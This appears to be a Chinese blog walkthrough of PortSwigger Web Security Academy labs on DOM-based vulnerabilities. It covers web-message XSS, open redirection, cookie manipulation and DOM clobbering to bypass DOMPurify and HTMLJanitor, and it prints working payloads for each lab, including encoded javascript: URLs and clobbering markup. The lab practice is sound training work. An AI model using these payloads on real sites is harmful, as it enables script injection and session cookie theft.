zoukankan      html  css  js  c++  java
  • Portswigger web security academy:DOM-based vulnerabilities

    DOM-based vulnerabilities

    材料里没列完,直接做题吧

    1 - DOM XSS using web messages

    • 题目描述

      • 这个lab有一个简单的web-message漏洞
    • 要求

      • 利用exploit server给网站发送一个信息,使其执行alert(document.cookie)
    • 解题过程

      • 查看源码,发现如下代码

        window.addEventListener('message', function(e) {
        	document.getElementById('ads').innerHTML = e.data;
        })
        
      • MDN看了下web message,是一个跨源通信的函数,可以通过iframe来实现这个功能

      • 构造exp

        • 先尝试了用iframe+script标签的形式,但是发现script标签不会等iframe加载完,所以放进了iframe
        • postMessage()的第二个参数使用通配符,允许目标站点为任意域(防止CORS被阻止)
        • 关于post进去的数据也进行了尝试(chrome),svg,script都不行,想了一下应该与标签的解析流有关(插入的标签没有被解析),这里用img
        <iframe src="https://ac131fb91f0c536f80f50dc100070028.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=x onerror=alert(document.cookie)>","*")'>
        

    2 - DOM XSS using web messages and a JavaScript URL

    • 题目描述

      • 此lab存在DOM-based跳转漏洞(通过web message诱发)
    • 要求

      • 构造页面,使访问者执行alert(document.cookie)
    • 解题过程

      • 还是先找代码

        window.addEventListener('message', function(e) {
            var url = e.data;  
            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {  //传入的url包含http(s):
                location.href = url;// 跳转
            }
        }, false);
        
        • 弹窗可以通过伪javascript伪协议调用

          let url = 'javscript:alert()-"http:"';
          location.href = url;
          
          // 但是这样不好写进去,因为单双引号(所以需要借助编码环境进行编码,事件内部是js解析环境,会先进行unicode解码,所以可以进行编码
          this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")
          
      • 构造exp

        <iframe src="https://ac901fa21ee08d748031385e00110021.web-security-academy.net/" onload='&#116;&#104;&#105;&#115;&#46;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#87;&#105;&#110;&#100;&#111;&#119;&#46;&#112;&#111;&#115;&#116;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#40;&#39;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;&#45;&#34;&#104;&#116;&#116;&#112;&#58;&#34;&#39;&#44;&#34;&#42;&#34;&#41;'>
        

    3 - DOM XSS using web messages and JSON.parse

    • 题目描述

      • 此lab使用了web messageing并把消息当作json解析
    • 要求

      • 构造页面,使访问者执行alert(document.cookie)
    • 解题过程

      • 先看代码

        window.addEventListener('message', function(e) {
            var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
            document.body.appendChild(iframe);
            try {
                d = JSON.parse(e.data);
            } catch(e) {
                return;
            }
            switch(d.type) {
                case "page-load":
                    ACMEplayer.element.scrollIntoView();
                    break;
                case "load-channel":
                    ACMEplayer.element.src = d.url; // 如果d.type=="load-channel",则讲url赋给iframe
                    break;
                case "player-height-changed":
                    ACMEplayer.element.style.width = d.width + "px";
                    ACMEplayer.element.style.height = d.height + "px";
                    break;
            }
        }, false);
        
      • 构造exp

        <iframe src="https://ac0b1f8a1e418d0a802e3c2100ea005f.web-security-academy.net/" onload='var a={"type":"load-channel","url":"javascript:alert(document.cookie)"};this.contentWindow.postMessage(JSON.stringify(a),"*")'>
        
        • 这里需要用JSON.stringify()把json转换成字符串,不能直接传输对象

    4 - DOM-based open redirection

    • 题目描述

      • 此lab有一个DOM型的url跳转漏洞
    • 要求

      • 把受害者拐进exploit server
    • 解题过程

      • 点进一个详情页面,发现返回链接比较特殊

        <a href="#" onclick="returnUrl = /url=(https?://.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = '/';">Back to Blog</a>
        
        • location(地址栏里全部的东西,包括#后面的内容)用正则url=(https?://.+)匹配,如果能匹配到,就跳转到匹配到的url
      • 构造exp

        • 这块想了半天,把受害者拐进exploit server需要点击按钮,总不能继续xss吧,然后去看了solution,自己就是受害者???
        • 第二个,使用#也可以达到目的,但是不给过,只能用&(猜测后端通过检测url参数判断)
        https://ac891f911e4e7dcb80201fd4009d0060.web-security-academy.net/post?postId=4#url=https://acc61fdf1e577d2480831f0b019e002b.web-security-academy.net
        
        solution: # -> &
        
    • 题目描述

      • 此lab存在DOM型客户端cookie修改
    • 要求

      • 插入一个可以实现XSS(弹cookie)的cookie
    • 解题过程

      • 在商品详情页面看到如下代码

        document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
        

        可以通过&/#插入内容

      • 在主页,发现在访问过之后,会出现浏览记录,而且会被'逃逸

        <a href="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#" -alert()-'="">'&gt;Last viewed product</a>
        
        之前访问的是https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'-alert()-'>
        
      • 构造exp

        <iframe src="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'%3E%3Csvg/onload=alert(document.cookie)%3E" onload="this.src='https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/'">
        

    6 - Exploiting DOM clobbering to enable XSS

    • 题目描述

      • 评论功能点允许安全的HTML
    • 要求

      • 构造HTML注入,污染(clobber)变量?,调用alert()
      • hint:预期解只在chrome有效
    • 解题过程

      • 在详情页面看到函数调用loadComments('/post/comment'),看看函数定义

        function loadComments(postCommentPath) {
            let xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    let comments = JSON.parse(this.responseText);
                    displayComments(comments);
                }
            };
            xhr.open("GET", postCommentPath + window.location.search);
            xhr.send();
        
            function escapeHTML(data) {
                return data.replace(/[<>'"]/g, function(c){
                    return '&#' + c.charCodeAt(0) + ';';
                })
            }
        
            function displayComments(comments) {
                let userComments = document.getElementById("user-comments");
        
                for (let i = 0; i < comments.length; ++i)
                {
                    comment = comments[i];
                    let commentSection = document.createElement("section");
                    commentSection.setAttribute("class", "comment");
        
                    let firstPElement = document.createElement("p");
        
                    let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
                    let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
        
                    let divImgContainer = document.createElement("div");
                    divImgContainer.innerHTML = avatarImgHTML
        
                    if (comment.author) {
                        if (comment.website) {
                            let websiteElement = document.createElement("a");
                            websiteElement.setAttribute("id", "author");
                            websiteElement.setAttribute("href", comment.website);
                            firstPElement.appendChild(websiteElement)
                        }
        
                        let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                        firstPElement.innerHTML = newInnerHtml
                    }
        
                    if (comment.date) {
                        let dateObj = new Date(comment.date)
                        let month = '' + (dateObj.getMonth() + 1);
                        let day = '' + dateObj.getDate();
                        let year = dateObj.getFullYear();
        
                        if (month.length < 2)
                            month = '0' + month;
                        if (day.length < 2)
                            day = '0' + day;
        
                        dateStr = [day, month, year].join('-');
        
                        let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                        firstPElement.innerHTML = newInnerHtml
                    }
        
                    firstPElement.appendChild(divImgContainer);
        
                    commentSection.appendChild(firstPElement);
        
                    if (comment.body) {
                        let commentBodyPElement = document.createElement("p");
                        commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
        
                        commentSection.appendChild(commentBodyPElement);
                    }
                    commentSection.appendChild(document.createElement("p"));
        
                    userComments.appendChild(commentSection);
                }
            }
        };
        
      • 挨着看了一遍,感觉29、30行可能存在问题,但是不知道怎么利用

        • 试了一下在提交参数的时候增加avatar,没有用
      • 放着先测一下能用哪些标签

        • a
          audio
          b
          big
          br
          button
          canvas
          center
          cite
          code
          datalist
          dfn
          del
          details
          filedset
          h1
          hr
          i
          input
          ins
          kdb
          label
          li
          mark
          marquee
          meter
          optgroup
          progress
          q
          rp
          s
          samp
          select 
          svg
          textarea
          u
          
          • 有点多,挑一个最喜欢的svg测测

          • 然后发现,返回的数据包是没有过滤的,过滤全部在前端的DOMPurify.sanitize()中进行

          • 本以为这条路走不通了,然后在搜这个函数的时候看到一篇Bypass DOMPurify的文章

            <form>
            <math><mtext>
            </form><form>
            <mglyph>
            <style></math><img src onerror=alert(1)>
            
      • 回到代码看看

        • 如果能找到给windows.属性赋值的方法(通过html或请求),就可以通过以下代码进行XSS

          let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
          let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
          
        • 去看了下材料DOM clobber 里面介绍了一种方法,

          <script>
           window.onload = function(){
              let someObject = window.someObject || {};
              let script = document.createElement('script');
              script.src = someObject.url;
              document.body.appendChild(script);
           };
          </script>
          <!--
          To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
          As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
          -->
          
          <!-- 要修改 window.someObject.url  则使id=someObject  name=url  href=目标内容 -->
          <a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
          
        • 测试发现javascript:伪协议被过滤

        • 试试能不能逃逸出字符串,最后还是看了solution,用的&quot;("的html实体编码)

      • 构造exp(调用alert()函数就行了,加document.cookie会被过滤

        <a id=defaultAvatar><a id=defaultAvatar name=avatar href="&quot;onerror=alert()//">
        

    7 - Clobbering DOM attributes to bypass HTML filters

    • 题目描述

      • 此lab使用了HTMLJanitor库,可以通过DOM clobber构造攻击向量bypass过滤器并调用alert(document.cookie)
    • 要求

      • 给受害者发送一个自动执行的攻击向量,alert(document.cookie)
      • intended solution for chrome
    • 解题过程

      • 进详情页面看了看代码,没有上一题的直接引用window.object/document.object,此外,引用了HTMLJanitor库

      • 反复看了几遍HTMLJanitor的代码,没找到突破口在哪里,于是去看了solution + Donx发现的DOM clobber的介绍

        <form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
        <!-- 覆盖 使 x.attributes == undefined  -->
            
        <iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(someArgument=>this.src=this.src+'#x',500)">
        
        • 关键代码

          for (var a = 0; a < node.attributes.length; a += 1) {
            var attr = node.attributes[a];
          
            if (shouldRejectAttr(attr, allowedAttrs, node)) {
              node.removeAttribute(attr.name);
              // Shift the array to continue looping.
              a = a - 1;
            }
          }
          
          // Sanitize children
          this._sanitize(document, node);
          
          function shouldRejectAttr(attr, allowedAttrs, node) {
            var attrName = attr.name.toLowerCase();
          
            if (allowedAttrs === true) {
              return false;
            } else if (typeof allowedAttrs[attrName] === "function") {
              return !allowedAttrs[attrName](attr.value, node);
            } else if (typeof allowedAttrs[attrName] === "undefined") {
              return true;
            } else if (allowedAttrs[attrName] === false) {
              return true;
            } else if (typeof allowedAttrs[attrName] === "string") {
              return allowedAttrs[attrName] !== attr.value;
            }
          
            return false;
          }
          
        • 使用<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>进行DOM clobber,使得form.attributes == undefined

        • 在检测的代码中可以看到,当node.attributes == undefined时,会绕过removeAttribute(),保留下标签中的事件

      • 之后的iframe标签是用来触发onfocus的,必须等到加载评论的ajax结束

  • 相关阅读:
    Wannafly Camp 2020 Day 2D 卡拉巴什的字符串
    [POI2010] GIL-Guilds
    Wannafly Camp 2020 Day 1D 生成树
    [AH2017/HNOI2017] 影魔
    机器学习之决策树
    终端多窗口分屏Terminator
    python的面对对象
    安装 Google BBR 加速VPS网络
    DNSLOG在渗透测试中的玩法儿
    如何利用GitHub搜索敏感信息
  • 原文地址:https://www.cnblogs.com/R3col/p/14486757.html
Copyright © 2011-2022 走看看